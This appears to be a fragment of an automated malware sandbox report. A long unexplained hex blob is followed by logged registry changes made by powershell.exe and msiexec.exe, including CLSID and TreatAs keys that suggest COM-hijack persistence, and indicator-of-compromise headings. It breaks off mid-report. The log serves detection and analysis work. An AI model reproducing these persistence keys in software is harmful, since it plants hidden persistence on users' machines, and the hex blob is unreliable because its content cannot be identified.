c7087daaed449d3116726057f0ad764b3ca954cc3a6ccc4415724b163fd3df823ee64a8df646fd9e549737ac85013aaec5bea40bfe54323dad25ecbaf1908d2a9e5c48bddc78e0a1973f77e27f4ab7d9fa461bd5ba985acdaa860d4f6d7964af7d2d6faea959757decb3346e99fe03d0cc6d46b9eb94b7bd66c1cb0b1edbf74e41bcf3e4a199d9da4823f6a950f281698bf2cd204e1d7f67d95a6affebcb2f3be37ab3bc97bfd29bc1ff9bde5c14efa5212935d506841b880cdb0a98e9825a426eefca855e9f39a486a07b88b63a5e328e07fcacab25832e90b01ef5745b19943675bcfb9362168ad39bf821b1d372258d80c21b1a96ac7b1290689cf69beaf2ec32ded1f1f03a6711deec3d638657336a5558633b60de72f709167aede04d00c9b4932188cac88cb384d4ad4f1fe7e7eea080f55c72719e6484a1a5526656c636bcddfa437841f3acf47b5d96853d7aa6dd44acdaa9841444e9f193c3ac44a76643cd8f7b187783d848e53d3bdc8eafdf9c14f4c4370e94ee788eae9b9bca11a83097103c51f3165502b0ac884f1f5d0b0d5f33ed37c163320e83ce8a5f21014226fb8040cd867e097329a9993efa7b46f2bbe6b04f8192e3d6591a62717f4f1e5118ba2405d918bc1b7e1efa8733f50c7da4e6446f289e96f191e0f993bb1b9f4bdc9ff962d9fe8b6bc2b529a996b611e29d3d37740cdb2ee1c9421e4f706b39f8708475c77af7c0aa194cbdcd333942b7cebf84b01b89d0bd4de1c0f5a387d632af9ab440f1cfbabc0cdf8cdb6c9fe0648b4a497c9d695232d39eb36cbca57c79750fc0b8af362abf40fb995586d2c0a213d639d6ea9a92fb16bb3aa8088faf2c6416d13d19a5680e79128505092a4f2654420e436bec9ad90c3bf3d58475e6f20bd99ce776c26265be1a4cbf1e405388716660097a4aeb62b0dd79205b62de680cc5df442ae4fbd8abf5d146601c485008bc6316cdc4c623e271bd69ae013bef13b5a77bc12a55cd509964994d51b26c13f01395124eae070b48102750fad1cbe8b0aa03d9739c5df0dfe7626b479f197485ee777e393510aee34d0a3960bf05d3abf99068fe77306542555734b9eded1532f3e8135ba71712e0d1bf425b3d0f10f04961a6fd364add7ae27a7ea9d632de4dd9d165fe0398db44d96348116935f5ce3ec6e3c3aa6eec3e470814970c66246dd64abc49af62e7cf6e442923e879af2df2ce43f969f6a93c51f86427db7a0e41328b5b21f7a5c92044948544eabf3cf229f884f27cf688f72ae367a29e29e6127f19ed1b6b696207fa81ddaeaececffde6fee1055b9d117ad18d8996f807fd3f5a7d889fcf2fdbeac1beb3723e7bf89ba422da70c2d83bf2adbec159eea0dd3f84f5992093452b6745f7faa51dec8d70bb2d00a7c112603dbfa0f33629b9b73ace8e6565236f640b33a37b64872a8bfea5143edd9041e406d9ca0da147f340a9758d65b19337dac98d09809409a4974a804651a505ea3d9453048f1d0f51cdda4cf7da4f51146cb04b41da195523537a1f4abb8fda3f210fc561b29ecdddd659d83ecbd010eb70fd51c886192075d640f79c39b1d4199beaaa8e9f9a27625b4c31b627a23a2f03b5489b4713f0ed38656ca67461f2480ebd23dcea668d9821695e4c4fcb1f8d59daae50e5157829a659d45280bad93b07de1ba89c62adead5c9e32b74f4d9900287b2b20b9a9a344088f55b88c40ad0083a42bdd336dcbf33bddeaf38a36af8f86e0ee70cb18e7a8f9e9cfbd4719cf5835d25546fe7b734c5b4c805d52414333d5f6f00603a075faee74cfaae7ff115eadf33a2b580806f682e63258c5026cf5d73db462cdfb98cc84edaa530b2c2fa4a417d18bd875e68d6fa5b68c4d1803a26911191c16a7d57359c8c1acb4e7493c9e58a7198a7c9e761e329a0551ad85204a74b31180f9b323f223f51b68e00f30f30d1320c38493caa35c15c4978366c5e2b2daa33a906c91d678f0c64e58d6c806e1bd0bdeb2221b24e99599774f3744e0fd4c5bf465d3abc5a7023ce724d75fca20ca8e811f0ed5da57d0f7c5b81144262c661b50a5637b3c3a104ac3735f17f6e3560adcfb6d7d76e7eb305a9c9525d2592ce3486dc3f6c2ecf13b52ab3989e113fdfed0abe47cd7401d3280ce716a473a95c3cd0559d38a23ac53da6947d1d2676958983c372c2113707a52790ed36caa34398ab2232a03e7ec22712182c4225ffc0459679d54f8ac17bf268ca42d1ecf20e455a7fca688bf8fb5b0ae3aed641e0ec6baa4114c2c80df0f30cdf94237bde84eddd4121eb465139b74f8aec09a0198fea94860af139fabf35a88799f6faebc07717b5909b942c49fde27e30bc338449601bcaaafebaaa37a9f9e426dd4dd77b04ac12baa57dc1499245a158a5ea750b3609f6b596941c78247bbe73972199a8628f051c2c0f684c277c3d48052f5db644aff51662b1ec3f19c15aa94571cb18a8b4a60e7a64f45a6ce2cfbcd8d54b32b155b0f499e22c0f2d16cf97d328d39c2ac3fbc15f30b747ed95f7a83ee19106d808e62a05500c867b7cb39d31fa1bf24c7dcab9749295b4d90fa0495166663f7c8977e2bd8681fc8b803d959f727968021528f3d8c72d7c4622cd9cb518d955dc880a743ad75e42add2d8fb9cdd90bafb2de2c4f581aa1d2c259d76d72a60e18e3a36a736dd5d93c85336f9b8e531aed0d7c26e7b140b65539907d4a9b82362192913dc137cf71af01cf2a9dbd4ec74a411b8c596f1dd8de8a9ad3e9d64b6b22190be2eacac9558e48f5bbbe3428d7485246a8cd7702d851e09d5156a82a59731bd4bbd02464faafe2ccde66445581f1a685b978ee7b7a5743c998ad0ace13c8adf2897c3cb1f9548538ac50127803a3b330f77d55aedf61b4615e25cb6e37ffda0e72001d2a9feee0bad3f23116213bc25ba1108ad043448024566b78064bbb90c83f9732a388602d9a210ec1e8784ffdf93207823fe56dada961d3684772e54bf1ca157a0e4630a5d3723da64012b62d6e4617dc133493e57865b95ac6837cc6434e83abbc07f392eabc07bb85075df588b8a57c5444ae2de15165bca2a07833865e5edd57e144a31ebfa8a58167092e5a674c2a1cf602a9351fead2abfb90bb7924033d4ce372907604635dcb3dc95a005fa9ad713fa3e18e673f5ec09c66bc4c0ed9fa5db9e115c9a14ebe35bc757bbd56edad5eb00b98082c923d3a332e2fd73374f8561ae4f209adc10144f34117355c54e1e349383003eba9737102ce51c3382ce4747468ac3bb8bfa6b766b299011aa6c5ef0deffb4444cf7b279696e74408ccd83b49461b42ab69ad9462fed4a36e5780f5536a662abf2dce9ea37f8db2de4cc9da2bdb3fa283caad1225667909c3b0282e2004e8faa00d29dde16e4d94ca37d81494dad01f8844b9b5396e7243dd5fd9f9a1445119ecb3f87d4dbce9d72c322f675105b138de97a075d161c42a34444063473995684462b34fc1052b70a8ffb8656aecfe23c23c8e562cf09cfab5f17e7ebc50748e22e4a5806773a5b6a77d272a685e7b58c94ffa41e3865e903f5e01a3d4ccf0e02304b0e1550a3d9eb0bb3631597318626639c0fdc01e237ca41a1dcb3922cf3f98a3781111b609a7e31c6b9a15bdd4a92fdf39b4719d66ee4d57c1912d4c071b456d627d683a6c1c71598881fb47d02747a35acac0fefaf4477c6a201af15a8ce460c1d664edfcaa2633a33db3b1522af46fe3371fa30856759cd62e7301326cff48ca3951debfe68f676498878da0696b34483b805374ac8c13155a19ec8643e0d179feb44800e5cfcfbddb0b371544cafc08f235fbcdc119c36879c8affd9acef1800dd1ee95bb5f82a12b24c7582a67946f0227f7dd107d4fcce46e4612ebbe8e3c73224b1ca61b5400abac7a5e1af49ec8ea253ffe6ace795038d70098589cd9d68bb13c6ae706f0f42509ceb6d2363bdb932a40109bbaf9e407152e1867918767a7ebd34380a0eb6c59104236405b6dc52f15fb981a24dafb89a477fdb2c01d37a6dbe1014163ff0b81f6714242a0c8b24dcfb69f7890a27e186c2ae8546e6cc2750ccf091ca1561e403f2b225f4843c40ecef915d3f1732946ad5b229748cac8844312da6d9312ed71f8f678fe1eae14f4c3f4658f39041964192b7aafcf8aeb6797e3d56556179f2b32e6d84af0f144d2b82234f8974df24efdb5f7c83a0083ef22d3b43beae7bfc2a0ce5525bf8146a7f096da69008883387feb53ba9776d0d6915982ce8f266feee96d3952027e14dd5b23b29e49015c51c715d63f337d269d1581a588cda84685a22dc0fe3a12ea3a07ac6407472bac39bd81aeef7321233374786a9ffdd464f28f07e4d5a7754b4872ba9f44b5c4e638b68608c6ac8ea34761314aaf16f7499faaa92a27acaa9031db081e7ef4d3ea4d0b7a2d8b4dd46a8790edd409395ef2079ed1bf9d9741ce11f2e46ccf16f7c52bb51fa3527baafcb437ddead75f618043e3e45dd114d39aab3f667bec1f2ba754982af3d2b1d4b3f3154bb1eec3f2d22848c5b73de7d0f1b3f714b1f408570925c7d0a5115719cea389cdad6734d47dc5f8ab7677a8dd2726c750d7b06aa665494ed9fdc9729d7e0d14feb8dccfa9895705298e49180b5177efe885b464be92527faf098ed01a6c2246e495c3c2af5a457d39ace86ba144c7d6a111f401027777d299b636ef3f6a3d8a6e681a895d3b2dac404e7f994f88f6690ea3b03ac283ca7fa85a62df14a93f6c1853165b3bc1d98f29ec376e8084d1189e8435114609fb2679b11f43cde4d2228519f7d627cbb9b51c7feb5ae0b81407962d7dd888df456439e901dea31eef4fdae32b993cfa8652ade4206cf407d36c250bf8d067c24d915174ef44e9bb427a648a0fef92bef56397cf3f8c0635b17544fabad15103bfd378c5846b233e79caca2078412593d0bcebff737c581f8ce6a0e6b50813c50f963b9d099636da015d5c664ccdad5bf98106f290787b4b4f294fccd10d059925bd585185e9b1245d3409be6a74b7cb0a3c6a9c37a28c197e1b4396acdc43a70607870eaa488a64c11308f092fb9b9d8c17db713fd053f07575757542c94a95ca11656fb2f62a40f69a17926db63d31e287cab4952ddbf913d693fb152ae60b7d08057863ede4f71eeab25af18d5988f67520239fb6e473651fdc18d1de42db38a9732d933ebe3f5ee93b6cf369397c4b41f1f89dc235d048833d7b5620ad388ffa74ae3e749395d02b909f91c7c8b7d025523b799efdb9dafdd1b06116ec6c5d33ee4fc6fa56f4dfd695bc0931460228049211469703d971b2be506723bd358a7d62ec407bf6ae82b93404a97ea74a8c915fe8b268e682d177e81cc1d5f8f54e2cc3bc60f0d384c7df54e824ac69549b506da8d5801b45c7402e30d1bc1ca1b500a6a5c37dcc9962ed15d3904bca8ae57c4197c90603cf5df13bf0af8b07b1adf1338fe4f73744e367f6fd9327f273cd3d7cbc3e6ef1a9d959e01d598f32cc55f70e675dd41b19048952952f50bce2864e6f1ad883722c6dd5f9973e6b75c128b78d0e9a2a4513600807de83bd0bbc078cffa3857b190418b7b73d5f2b435501c874b7603337a61103fd1064ae7c05f5c63d8b3bee52a1ad7c524ad8e443f0bd54d84bae448e017d591da1803e4a44aa6828268466d8cada68aa38882f05325f480a58491f6aeb27a2d9e5e82e76084c3feb6e3c6e1d79159125425b26506ea665d2d1a703cbc6c5891ae057f057d0233e1d57269df1e48ed9bc8212e84f6572c36214662af36ba5a08cc89bc48d7a6ae647a516f4de863a9fbe81220312f5170ab68638c22a3e09a31bd23ad00656ee10a1f7f9a42f06a693a81d00544455872b67a77edaea74148c30f7d3660a3c2918bee3127fcec854496fb3d629a5125b9e8cb787135e83d2921a9878a3e6d5ac9b5cf46e8b287149da599ba84eae4a4dfe8dee692b8fa5c198e74027c896325faab4b1286fcc54d31431eecfdab434e1d763f08f9b4af553ae25d3381a96e3245f6f52cc60d921403afb9540395942a9abc71937d4e7846a2945926e7d30ddbfb44865dd68497783586dab17fe3d94cfd4836d7b24829fb6f5f0b4950a100365f09b7ab3acf6e813c7731796257ca2dc8640257f943e21a90b5075251abdda81b69c4cf656a51660ff168faff78dca62f5bfb9f7b6e3a08790fae3aabe0c105705bec4be7de38724f538c90cda836e8b13ce4e572d94c8274a83b7f123d9e4cf80deab106d1b01cfe7d6bb0ed6371ff7de09c29962ca564b17ae45fbac962ebfe1cd7df28fb255c9e64ffa15b8bd957646f8d0d60c80cd679174bed450274f0ff646bcb2f2fbf2574c3de1b10b1502e8bb7dfb8f067eaff5175ffe6cdba482ecfed4b9c3d58339d5de3352d372a7eb662bcc69fa24c5a1e2fe2a97cd7fb17b70771dcd86c2718b9b2402385ee5df0425aa144d3b6226a8e6f5674d677fc834264d555ce1890395cdcbec5080d6f3e5b99b0d5ef4db658fbd0afbb07110d47f5a4e7a4e2ce256aa882b8fe319507443c54a6b56048a1679e2d347071a92f51ec611b5966ad12e583f326fb3ba6e706d791d0366a106c0cfb244ba9e85633fa9e25bda8c4d8fcd8db4cca4826e9dfae41e509603f83d31a76ecfbdb24a37ac5bd01251b02d6ef00ebeadd91f8fdc77a651714d13a0a610aabca935e694daf423e4c57c139eeed9cc06a2dbbb5df5e1f4d748205f51e1f8eba4d11dac0310cd659ef6a14c772060b1eb5135c2ca771c1c5bc3b26e2c7a94ed6f06ed2bec261e8db75f00a73ac29467ee918e5e7ad88bd271b37791d9c34b9e0c5311e8cde8a0d4524c577e9ba2bac75d6a58eb5f12f4450fcca57d64d929d6f4e8627919eec02454d3f2b6eac6ef4da2339b5630923a9851f55976e7e6ab2c540ce474ab3c20a1c6276eb6600a03966e8593431a7bda15a6ac77c8007d7d542025ca7a28eee9a52249a0956237376059cd1093124bbd0a2465619312f889db18598d4ea94c1c637552f440c857fa59467fde76874dc7eb8f2134442bc6e1a30ff3ca6faf41a604bc6f4e1e8124e006667b36651e26adb37aa1ba7f0b7a7278cc2f5065d0997b0e02c54f69023128ca19065e5e38aa26263e82604c56da6e772804c1e219533f822987b320bdbac30dbfbecec5095ef9ab92a430bee099b001e501eac771f9f2888de5aea669940291bcb9244fc033f055ad2492ec097f3924a3e985847e8ecdde0755e1ad6636bdc7e19a1882cbc6ee3dc02007fe1fce6e7e4a7a06e14a0d6f979b22881f95cb3bdbf70fbb9e21fe6a0e77ddc6262fc5f2fe49f068319e0e0e0c64679e8250c29e28ce77a47ee36a0f997ddfc367e1d9d5205ac24db979d0567fc6ea00b68bcd7d172427002054a8e926bc6bf31614861f1317dbd5be640e4f79dd26e8fe5ac747eb3772eaf89edb58f3794b0c00adfa5649ee5f33bfcf6d19e34a687d0521d9f29183e802f76eabf1b8fb13b9929dd08caf8c51969957f6fb22734889fce3a1e0c1abb1a647f92ac01e7c75dfc12ef8658a6ba394b699e943156e53fd11b22941c14df330db75ac09468c115bb18bcb312921a3d862a0e27700dc5bb93844115439379bb6e74966927a25bac3c7f74064322993e773b432573a833452fb9ff7fcab864ddb5b56bef64823ce3f53cf6295410a569815fdaf3212fc8e624ab349f32233789319e8313635800c07729765421c0840bfc1e9bd118d1b9b3ea4a936a987ab076843a701414cf35db3ba5af91f1914c388b2ae8c6f0efab10d39dbeeaa3d6249b643178b1bd19fc32f3baac83dbdb86f66ad7eddbfde3a4e68a3f3c8cce11a9af8c577bd6fc9318ea8f2edff6948ad874f910103e4e25dfd803e36a76f276b2449d5f7702685cdce2dbcc779e6233079f8a92ed280bfe1dbe926d633bb19a961016cb80883fa19b3ebbab0f0030dcbe06bbd7eb6f895644fcfde12c7dc783d115d2d94c277280fba9c262793217ac0b3ff0219c10e4137a4a0481bc45e42f05a7247303a5be4235c526b0951a2c1942e0f9818628b1980f49662049260a616c929d6e3c663c7e3aea92138920776d160edd060bbfd4ddd250f08ba92fdb38d6ac7057099cc3828b766237dcedea5d3c9b9bbe295be247f83b46cc1d4f615c032df036fee77d4b7b88a2060cd935b753952494741cf7c94711ef783fe77e0ea318d5eaecca8b395ee07e220860f949af580f19bb786b9ccbe713acc945b8ddd8495d1d3d6f49ffbd7e957d5805cf33ad034573508b2dcdbec0aebd3254d9e889783b9cce734ed4b27fb4fe95f8b7ab95fde47b2457e28624a6ab7782cc399f03b3bfe9066be5e10e90a7bfc3cfd7ead0b03952f9e6096522f9915458a397eb16e5f4703255d41b43f6328ccbb4ca00077f1ce9ef411f6e6928be132eb559826cfabd7906e9eb87ee466996bd4fa360a047509547af84870e14a9cd875bb2a8b104beb96abd64438bdca83e98c2664762ad95af75a5090e442d6ef831d6f73300f1690e379cc4c2502029e336c6cb644f5834d32ffd36c55a6e488c04639bf98ed2ab77e88d52fff1d3f3453f43544a911a6145fa2e3ee3973b05680367497ba8d051c0326c413426b49b252b0e6172fa8394127a3b0298f58a8a3876268ef85aadb1516e6a5d95658a78157e477be13273d8a8cc22a8297630bcb06fe0f9a07dd005cdc3459f6ee4da1891b35d6a295dc82373162cad1e81c6d1d204606487d6f6f1d7a91ce1217bf485640d57f7f3cc00597cfdc845b485b123c2008c595e4edb1ebba687685a62e2dbe72500382b23f416f41eada6884246ee7005f7abdc677dacb647d171b419ada9afb8278e99c62114ed48c87544eb6b88f50c2c6f8f675cdb2d0f4e2dc847a453d16edca50bb512d6c926a1e4f3c050ab2e770550fe7b27cf1854b0fb8a32a57dc005bd3a8c8d7e1d9f7129dc8b24fe676f77dd82853a50ef990a34bf177f62603cb9f3a267b672c772c9889873f1dfefd424f8da40eb0bfd60ab79d7c575207a0b29edc248247c4b0ca713401496d334c459997e7359c892a0fa58d516751eff042036bfee3f5303cc9a043a05eed4f358707b968943e577a6d3b4bc33406867223134918c7160de7c26cb6dadc61ab4e92f87b79db9c8988986874e63efff507cebc18b351f92d53f55ed50726c8b177bd4cd78b058440434a4b52e3788da057ec63806f3d3ff5b5cb7c4d762d4019e0ae08cfb544a02b723910959c098f4004ac0b19e35569d7a54c4f9a745ddf6c8c32255d9f6164b78cee3b46bee1a0054d861a1c9df0742e7f760d39e91eb3a90190ba094070c0226f992cbde810270674d8ba1f906656438311d77ece2449d2c59b1d580717731c7f3148e0a15a83b89541361bd51977e4376cc196519958c35ea74bc8f15c1a650215922cc4aca0d5937d5be2e7a6c162c65395f695c538deb339be8dfae67c315cf6666f9bfcbd3a05fb464dca9ced0f104e734c6494b563c0c5da81f765a7567144fc44138e8a8c100072911b311cda4f1732489bba459003dd58e636d662de305c37ebf68eb46cf5018874c70927669946393308bcdaf3f9e5db2afafc0a616497e8cdf95a47ee0afa8aa93c2852eab7f3389062505bcf983f590df0dc1e9e02e4ffdc4d643947e61d6241e0f57c31650463507d65e3aa3c8d64dbd39ca5293ef74c9ff3aa05671e6e94520eba3e9f795e3490b708619259496c76143640ec5ede642d69efe9eca2a8b1d21efc1e6cd03cba91f7c43c0a94e54f39a1e1342f39baec473dccb27ff9831c540cc9959b521694cc0f6f3c6ecf1903fa1b3353eff06653850bcec9fc0680454cd11fcc20668b69888f504e3094919d186cfc82a12326738af71de1fe3dc7fbe46f75e29a7eb321caa76cc4c17e887f04445822612847d5b1c527980583ceda288dd336e747d130f72229e36ff00b32bebc32ed2b02a6955a692b4b7e22937981bd4bafb1f1e8545e4a4c4101afbc23df390fa57ccbc1f0f63a22dcf3ba3afc369fb435ae935daf2bd7c0f94382aedc16bf33deb3e8f6c9ea7a82ecbfb6d8e6bdfca26520f4a9921c0647c423c0610038dce9b3672574bfa1360fddce0a78128c3e5ad00170a488a85e15f887164128cd1815b34241a6cbc4466df2aa438682e8a4ce9de29466e7da5aa976e1e32516fc5c5f36f6d58a643d2749e661b16a71c0ae56197a560f0b3b414e3b29e8546a9c58a44c70d9844c9e5132908a20b9e323d4f3f32b600540f52f2d3dca5dcf1913222b4a099e5baf62a7c4801ccba8e748185ad0d0b72260beb50649ed8da869a9c7828dba1f890a35cd222dd72d3a3acf4abd56be498e16fad71032f736a6ce1ca4851bc1961e991139fddd51094fac628899a9983af421ef1089e67644dec6b1e983d3d4146d6f335383d80b8c2add9f88c19ff7dc192ca335ee15b4914e2d89c8e4069fdfcf227b01f7cd6132fda0bbdbcf810999b7da7355aa2c6ed37c6cfbcad215ed3e87acebc6f62d8dc4964d61f0458ecb9b135a1e9c42c7cb3777300430b838bd9605207623b45b709eb95c5e3ada2a169539c041983768a9e8f81a3f858171fed975f52b6efae4892317e162320d3cf9f9dc9264d8a8a680bfdd0c33fd65c3f6405a7818d7c600a4d2ca515bd494a99946eda8442b583b38b85d168272fb92584a73c1e22dc3713ac34e221a92851a49777637efcb500b11867cb5451a3f3fd9301e8937c00e46a9958f50def79a71002caf04683135f570afdb072bda9c5cd93cdf35a1c1a4248c07e6179baf367670a29dd40e1828e2aec229aee339f463fb5e0e72f9ea0245aca3e12f7d478dfaf6ee5f403e1ef4c25744cd5ddaf7ab0d92a2213f037a523567f4901f91d2241d570d594a607c5b8f32bb6910c89995e7c956780fb3b57d913afd2e95dbd348a9e814c08c66a45a8f8049472b4d962a6a3f0682db7531f9d6f8ec1a5c33cbd7cc193dd89ca3c50c860261fa443618b935d55fae7d7d9c24532499b07ebc338976b19540e565c5485570f3a16b3a4ae9de462022d24adf477e2387ec44822cc40e123bd2e5bde0b36ff91da29c4cfed2ddd26e9900c36563b99005c5359fd6fbafeda3abe0bad5eb6cea41f80369e83aef72f8314aa114fbfe8168590d2b528c42ec79ba4c39b18c37c85d782b7188a805775db680f3f67ba2e9adfc693477f41765e7b0be75609eee5e84c5f88194f3acd67343e43dd45248b15ff57b462860d85e1978cc99b0eb3026169ee562a48eac7abe1d7b6a280a190e79ff6dbc1df3b8e1507f32486ced40cb08ded84b6e38a18bca4a1dc1d73df80985047c9e1b1c876d2d3cc6b30794fd184c1f245b68e5693aa76cb9065c47afa7586da350b585e26b42c11edf56efa471b97194c64c1be3b3521581255fdcd70fa2231105ec602fa49f70db1fd135edc312b954451d3b2196f39bbb63d21424bca1e15a094a7b9b9e30deb181f915291499b96634854035c92fa5a81f4c69a47e9aaf0707110588baa04750a21f7bdeef20b848b5fe7c082e473087d125e258ac03116e7795fabafce991b4006664e7017f1db5b263183a6f30e2a7f7972bc041f0591b6aae717cb4b29f65d53ecde0d23e3996579c4eb3263d69ce94e1bda9fc54644dbf7838d5dda8632536680c3fd0003e6c5afbf66f9760b0c4cedef239e34852717423abafd0754c9e4643facfed7105f5e2b6caa7f2c906a9afcc2f972c2f36b6e7114cbcf47e138e51953dcf0d7e037a2c50f68d2f529274e69a7594a5ffdb972cdaececc0ff658abd518d02850db0557ac6cd1aa27a674fae79e0185501a215883ba3cfcae549414ab3db649eba5721a01d7eea949f9d78d041b27271ba7ca91ccb01158f40d069ae8061e2cec6b6a55063d65a1f54d038928cda02a73a513add76b3058e307b0e85de3b386688292f29841751a249ebc2cbf6b0d2ecc180403648051c396fd9906130e31834dae0e38dc36419bb8fbe295711d522f0ac7047baafe3de056e6c544a6c4580e92016892898d6689bd94184b3f8789cdbdd8ad4c6fed839a89f95c56f54f894231f5c2189b04cd38919eb78c6ed60a43b8550536e28a95edd84119ffd9a626436a5f2f901c01a1980c26d753e4b87707c2b88f0e4322a37ae21bb9ae647eb1c7bdeb4bb2bf867b1f3927cc43e03c42be99f48f5d987926ced4ee733e92ac42af8a74ab84aa80e0a64a0f1f1ade68da8192c1ef017007c0329e5af0d9c622de4a0d3095b2e41caf818a764ed0ce6d5d4a1bf4d6ada37b73d3926c26cef65054af7e35e9ff369571862a0df70bf172761bce75b16dddaa40b4833750cdded763580029edc12938e9e4cac2a286aec0d8d965a90933da909775e3d377407f092a730e0318eefe63efb4ac68fa06b9a5dc6897854bff72bc1f574d65339d814dbc02e78cbfe066eeb81f206690b0138a319acfc9c07d2c3b03536453ea6d47a8844179a5d687bcfa0a5cf86a57cf4ea570eb2707b0f49a93c22044efe886d3eb6acf1e8b1e1ddd2cc5ceb292a9ca1b59bc718a92d2ff34f8a634b3855b7ecb24d5c5ad2412f348a90da39b6c55bb34b7e7eb95871972a4761306958efed07f5ab0e167af99d5d25dd3b5f5920edb543a0fa4a6e6ba7e66cae173083acdaf33265d6e0c8b65a8a7031ed6e2b865d58cd926a87dd76cef3d1a4603b405ad1c00b39bca88ef51a0ea3d17bb27b6bf99af21f4871d99bae162ee281b28fd2c019f0644b1a9f3ae3838bf8e36b32d42577f6561d325d959d492385069d14e18378c66ea2495fcfe3006a8d64621e8ca47aca965e65ad61bffd48fe2490a92150d98a7989dd3904f9c3cef79aa8bb2164362cc2b0a78df883cb14724513aa6f95b8a2c424e9aa1d0dda5cf29909c8b294d942afd03cf8322a33f3b770971cd52f2845121e699cf1913fe6fa7894a0ea8f931fc30ae1c030b2187e683a82acff0d6186c841506f9d59f91df67669c933b817f6e9a0e33b7a4ef34fdd3affa8d40de1845ff7cfda204c5565ba66a4f4d6efc3a20c389978a4b7c9dc0b8928dbc95d1544a5a1807237fc5929ff5f32922141c68d80e698d87b31ee6dc83588e14f41b62e2faa1c7c49528bd843d003cbffb2f58d07feb97b9cde4c78478acc845e2e8ff9dfbe63fbc1cc042ba29bd5cccf5962c4a66f230f68c8b27c96e886aaca7ac22f1948954aef6de9564cc056df3eedbbb3f9e95524646e251f3301dd4cd50f8bcbdf447f0054cb185f365892e89863b95f8356ac58e107cea01f3e6287dbc60d679380fdef8ad5ec80b11bfa0fedde77182ac2d4135858db4ac900c22a12d4266d7248e99e4d3dab38e5010867a274f19b09290d20da0e7d4652c8c10273431189cc82aab5c5ee3a7be134accee3bda60a459c47122514b38cfdb3bad9fd48fee0f30efbae832420b4e8589ab92301bdf00e2939d0c8c9ab5c8f4028c6c9d2c8eee45db6d0231dcb0ade55a30c7d58e18f1272eddb93f4b7db9b5a6aa9d6f76ae9d78662dddea2830e6fe92a414aeb20918625feeb7294b7e2548ce05c110c3c2e5e1d5b9043196131b7aefe4bc8d0cd630ec19dd96c9845e726036e8a1fd48d7c83c92f69097550b52a94c34e1aa548929a7971a17ca2cf6018c4fde6c68163d37b61775f58b8204d4fdd85c1c734edb3a9ce5c4e34c15bcfefe118b44150da1c7145b4e3b0e194ffc767816e5d7a369442627ca541a505e068d076d1813d4a80578a8e5b7c088e4571f5427ee719858d1790b18d4fab6e41c4d74b0a98fe57f5e8e6fd0f5c5000f1315e25b8b855f2f13005f820276ce458da4d4becf9a6ea6238f120e00bbe53ecaef544b1ff71da1ff712ec7dd5d01123659fdba04059ffbcac12692bbf05465cd718b15cd1a74296c4d448437d149d28d63188ae6377f0fabc5dbdb37cdd0f4d5ee583e66fff1a5d95173b91d736ea06f2c0dde3f4ffd70d69057718819c815136a25f3c5b92ba218ec4018224039c19660713d66de88c56acc4b52c8ee6bcacb92ebf76ed654ba9eb76e4cc8377c1da7819adef583a6b60a6b835f421b8ffc83dc533fd891c4097471af9966f7f72cf95cba7fbd69ba7e2711f21eaf3e39cf51a48aa8d3179ed6e89a0f838b48fddb24806a0a0771c4c2c8527993880a1eea72996cc50a816f742405a2ad1d54727e820a7a43c3569e40ba8a8e2752a7fd6b0f8b79ad4109024a632c6e659533b0fbd9e936835298da91ec66764035655551d8bbd50811227d4ad72eea400615902894f025a17069006c760b98539f7af350da10abf5a7c5d6d8fd1a2cadc73e26cc5336036531223323f343fdbd74517976496b154b8f585e5f3c3c0b9dbda557d463253e9c5093b4b8d7e4779245f5805570c4b4bc0d03ea2174ca8e10ac43ca543d4a142c42b2f9401508ca1e8febaa709a7cc7b9ab78a527ff19eae8b32251bb01432e66b61f4625b829c06acc2c6f79a7a93cdf71b1c105fdc993576927a73143f47217e57efcd9a338a19b61f1942ddc3df59e6ca4d8bc207b705027221e6e2856f32acc8c0db98ecde30c2c3231cc2c556d03983bdab150aa71c9b47f0e098f5abc9378d5fd71e1f158b83c0c75e936e3c4bccca480649da0d192237fbb146c7bc3f5fcd2e582c3c6c51c8296b17f2c17003061e87f5cf528176a10b82a5cc63962c1efdb1d7de391a302b7bb9c202fb1a65fc345cd23d72eefdf185337d52e0e5547ffbf2c492ed001684dff35502fadd5aa860b2ef7ba5078bf1cdb7662ab02a656ac044225abbd9db8c9c869ed4cf006219dcf8dc1d116b34a73f1a62352e1d7351a7c2673b493ce8387a9c3e1cbfd9d5c65a160029d82c0713c0ef01a2974ccec446a361aed93897f936b81e27b5e8ff494794709e62c542ccae24488d77d649736132e269c4acb224c881de5c9ff8d9a52602d14f4dfa3572e94c4d40c88dc1b0059fb588bd8ae4ddeb69eda87c3a3c9d44369ca8965c9ade1fa120704b44f5e1dd42c831a22562314088a4199015831ac33c836229abcdeb6367ee0ab46c175a63eac71512c031d51bc3c43151d48252ff70b7f243211c9425c30085e2d5d7137988c6f9d31ed16910567ae07bd632da1f5e46c01b36c60b4ae98bf5ee686f87965982d7f13210d8fd258f5e8f8c33cec6aba92fd9f5af620943e0eeb9902360ac10e3ed29137da3704f715052352e8b6fbe35881388950203ca2c52ca7c5735dbbeb408ba08ead powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ msiexec.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{03060F01-0902-100F-0E07-000E1301070C}\VersionIndependentProgID powershell.exe Key created \REGISTRY\MACHINE\software\classes\{120E0D11-0604-0907-0E0B-0A050904080F}\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{120E0D11-0604-0907-0E0B-0A050904080F} powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{120E0D11-0604-0907-0E0B-0A050904080F}\CLSID\ = "{03060F01-0902-100F-0E07-000E1301070C}" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F0B100A-120D-0613-0E08-04130800110F} powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F0B100A-120D-0613-0E08-04130800110F}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{03060F01-0902-100F-0E07-000E1301070C} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{03060F01-0902-100F-0E07-000E1301070C}\LocalServer powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exemsiexec.exepowershell.exepid process 1888 powershell.exe 1888 powershell.exe 1888 powershell.exe 1888 powershell.exe 4100 msiexec.exe 4100 msiexec.exe 4792 powershell.exe 4792 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 1888 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
